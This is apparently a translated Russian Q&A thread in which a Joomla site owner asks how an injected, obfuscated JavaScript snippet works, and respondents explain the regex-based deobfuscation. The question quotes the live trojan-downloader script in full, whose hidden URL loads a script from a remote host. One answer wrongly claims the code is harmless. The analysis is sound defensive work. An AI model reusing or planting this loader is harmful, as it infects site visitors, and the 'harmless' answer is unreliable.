Моя Joomla! сайт неоднократно подвергался взломам. Кому-то каким-то образом удалось внедрить следующий мусор в ключевые скрипты php, но я не хочу говорить о настройке Joomla. Сайт редко посещают (иногда я боюсь, что могу быть единственным посетителем этого сайта ...), и меня не очень заботит, чтобы сайт снова заработал. Я со временем справлюсь с этим.
У меня вопрос, а как работает эта фигня? Я смотрю на это и просто не понимаю, как это может навредить? Он пытается загрузить файл PDF с именем ChangeLog.pdf, который заражен трояном и после открытия заморозит ваш Acrobat и нанесет ущерб вашей машине. Как это происходит, я не знаю, мне все равно. Но как следующий фрагмент скрипта вызывает загрузку?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET определила этот код как троян JS / TrojanDownloader.Agent.NRO.
источник
Ответы:
Обратите внимание на
replace
вызов после гигантской строки беспорядочной:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
.Он удаляет большинство специальных символов, превращая его в обычный URL:
(Я вручную изменил
http:
наevil:
)Обратите внимание, что регулярное выражение можно было упростить до
.replace(/[#$@^&()!]/ig, '')
Если вы посмотрите на сценарий, вы увидите, что это очень простой сценарий, который вводит скрытый IFRAME, содержащий путь
/index.php?ys
из того же домена.Я запросил эту страницу в Fiddler, но на ней не было содержимого.
источник
+
после класса символов ... при использовании регулярного выражения.Эти ответы могут помочь вам понять природу вредоносного кода JavaScript, но вам следует искать способ закрыть лазейку в движке Joomla. Предварительно упакованные фреймворки подвержены умышленным или непреднамеренным лазейкам, особенно если принять во внимание, что они созданы для работы в средах unix, mac и Windows.
Моя работа требует, чтобы я запускал множество доменов, приложений и фреймворков на многих типах серверов и систем для клиентов и для себя. Со временем я видел, как все больше и больше ботов ползают по этим системам в поисках известных лазеек / входов в обход входов с черного хода, созданных этими фреймворками. Хорошо, когда я использую какой-либо фреймворк, что я редко использую, я обязательно переименовываю большую часть, если не всю файловую структуру, чтобы избавиться от этих надоедливых лазеек / лазеек. По крайней мере, вы можете переименовывать каталоги, что сбивает с толку большинство ботов, но мой способ - полностью исключить ссылки, которые дают подсказки о природе фреймворка, что включает переименование всей файловой структуры, а не только каталогов. Всегда храните карту новых соглашений об именах относительно старых соглашений об именах, чтобы упростить добавление подключаемых модулей к вашей базовой структуре. Как только вы освоитесь с этим, вы можете пойти дальше программного переименования всей файловой структуры фреймворка для более быстрых результатов, это особенно полезно, когда вам приходится иметь дело с клиентами, которым необходимо иметь возможность обновлять свою фреймворк с помощью плагинов и т.п.
источник
Он просто заменяет регулярное выражение в URL-адресе скрипта, чтобы дать вам
ПРИМЕЧАНИЕ: НЕ СЛЕДУЙТЕ НИЖЕ ССЫЛКЕ (вставлено
**
для предотвращения копировальных пастырей)как
src
источник
Он использует функцию replace для замены мусорных символов с помощью регулярного выражения, в коде нет ничего плохого:
источник
Его сценарий загрузки из
И этот скрипт загружается
iframe
с видимостьюhidden
источник
Когда вы читаете все это целиком, вы обнаруживаете, что это строка, за которой следует команда замены.
источник
У меня на страницах в индексных *. * Файлах такой же скрипт. Я пишу свой код на PHP. Мой вопрос не в том, как это работает, я спрашиваю, как защитить, если вы знаете их бэкдоры. Я изменил формы и прочитал $ _POST и $ _GET с заменой <> и http: // и т. Д.
источник
Мои два цента. У вас есть / можно ли установить инструмент резервного копирования Joomla, такой как Joomlapack?
Я установил его для запуска через скрипт CHRON, чтобы товары были под рукой на случай, если грабители начнут грабить.
Какая версия Joomla у вас установлена?
Версии 1.0.X больше не обновляются, и их возраст действительно начинает показывать. Вы обязаны сделать резервную копию и планируете перейти на 1.5 и предвкушаете чудеса 1.6.
источник